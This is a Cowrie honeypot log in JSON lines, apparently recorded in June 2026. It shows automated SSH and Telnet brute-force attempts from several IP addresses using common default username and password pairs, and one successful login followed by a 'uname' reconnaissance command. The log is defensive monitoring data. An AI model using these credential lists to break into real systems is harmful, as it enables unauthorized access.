{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26898,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f8d9d0fbaef","protocol":"ssh","message":"New connection: 91.92.40.36:26898 (10.17.0.5:22) [session: 7f8d9d0fbaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:22.161523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:22.528802Z","src_ip":"91.92.40.36","session":"7f8d9d0fbaef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:22.540080Z","src_ip":"91.92.40.36","session":"7f8d9d0fbaef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:23.745042Z","src_ip":"91.92.40.36","session":"18535fbb3fad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:24.539347Z","src_ip":"91.92.40.36","session":"7f8d9d0fbaef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:25.747808Z","src_ip":"91.92.40.36","session":"18535fbb3fad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:25.951807Z","src_ip":"91.92.40.36","session":"7f8d9d0fbaef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40190,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc8f5532d645","protocol":"ssh","message":"New connection: 91.92.40.36:40190 (10.17.0.5:22) [session: fc8f5532d645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:28.551333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:28.784035Z","src_ip":"91.92.40.36","session":"fc8f5532d645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:28.797883Z","src_ip":"91.92.40.36","session":"fc8f5532d645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrea","password":"andrea","message":"login attempt [andrea/andrea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:29.899785Z","src_ip":"91.92.40.36","session":"fc8f5532d645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:31.027153Z","src_ip":"91.92.40.36","session":"fc8f5532d645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40228,"dst_ip":"10.17.0.5","dst_port":22,"session":"a104a4c24609","protocol":"ssh","message":"New connection: 91.92.40.36:40228 (10.17.0.5:22) [session: a104a4c24609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:34.748712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:34.822386Z","src_ip":"91.92.40.36","session":"a104a4c24609","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:34.917203Z","src_ip":"91.92.40.36","session":"a104a4c24609","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:35.786567Z","src_ip":"91.92.40.36","session":"a104a4c24609","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.182160Z","src_ip":"91.92.40.36","session":"a104a4c24609","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.184891Z","src_ip":"91.92.40.36","session":"a104a4c24609","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.319264Z","src_ip":"91.92.40.36","session":"a104a4c24609","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.325642Z","src_ip":"91.92.40.36","session":"a104a4c24609","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":43924,"dst_ip":"159.203.135.109","dst_port":22,"session":"e05e799720f5","protocol":"ssh","message":"New connection: 129.146.243.24:43924 (159.203.135.109:22) [session: e05e799720f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.491861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.496229Z","src_ip":"129.146.243.24","session":"e05e799720f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.593651Z","src_ip":"129.146.243.24","session":"e05e799720f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camera1","password":"camera1","message":"login attempt [camera1/camera1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:36.993864Z","src_ip":"129.146.243.24","session":"e05e799720f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:38.104470Z","src_ip":"129.146.243.24","session":"e05e799720f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49952,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b01fc0a9ff2","protocol":"telnet","message":"New connection: 128.199.8.54:49952 (159.203.135.109:23) [session: 5b01fc0a9ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:40.170242Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":13524,"dst_ip":"10.17.0.5","dst_port":22,"session":"118c7f431b9a","protocol":"ssh","message":"New connection: 91.92.40.36:13524 (10.17.0.5:22) [session: 118c7f431b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:40.800950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:40.820833Z","src_ip":"91.92.40.36","session":"118c7f431b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:40.921357Z","src_ip":"91.92.40.36","session":"118c7f431b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50602,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf112a2ce058","protocol":"telnet","message":"New connection: 128.199.8.54:50602 (159.203.135.109:23) [session: bf112a2ce058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:41.197247Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:41.442022Z","src_ip":"91.92.40.36","session":"118c7f431b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:42.692537Z","src_ip":"91.92.40.36","session":"118c7f431b9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":50396,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebdbc13c2e4e","protocol":"ssh","message":"New connection: 102.213.34.99:50396 (159.203.135.109:22) [session: ebdbc13c2e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:45.238838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:45.245542Z","src_ip":"102.213.34.99","session":"ebdbc13c2e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:45.423261Z","src_ip":"102.213.34.99","session":"ebdbc13c2e4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":50168,"dst_ip":"10.17.0.5","dst_port":22,"session":"e76d6171545f","protocol":"ssh","message":"New connection: 45.123.217.22:50168 (10.17.0.5:22) [session: e76d6171545f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:45.700690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:45.705223Z","src_ip":"45.123.217.22","session":"e76d6171545f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:45.941883Z","src_ip":"45.123.217.22","session":"e76d6171545f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace@2026","message":"login attempt [dspace/dspace@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:46.141189Z","src_ip":"102.213.34.99","session":"ebdbc13c2e4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1qaz@WSX","message":"login attempt [server/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:46.925446Z","src_ip":"45.123.217.22","session":"e76d6171545f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51696,"dst_ip":"10.17.0.5","dst_port":22,"session":"06fb81cdfdab","protocol":"ssh","message":"New connection: 91.92.40.36:51696 (10.17.0.5:22) [session: 06fb81cdfdab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:47.253862Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:47.315127Z","src_ip":"102.213.34.99","session":"ebdbc13c2e4e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:47.965223Z","src_ip":"91.92.40.36","session":"06fb81cdfdab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:26:48.166348Z","src_ip":"45.123.217.22","session":"e76d6171545f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 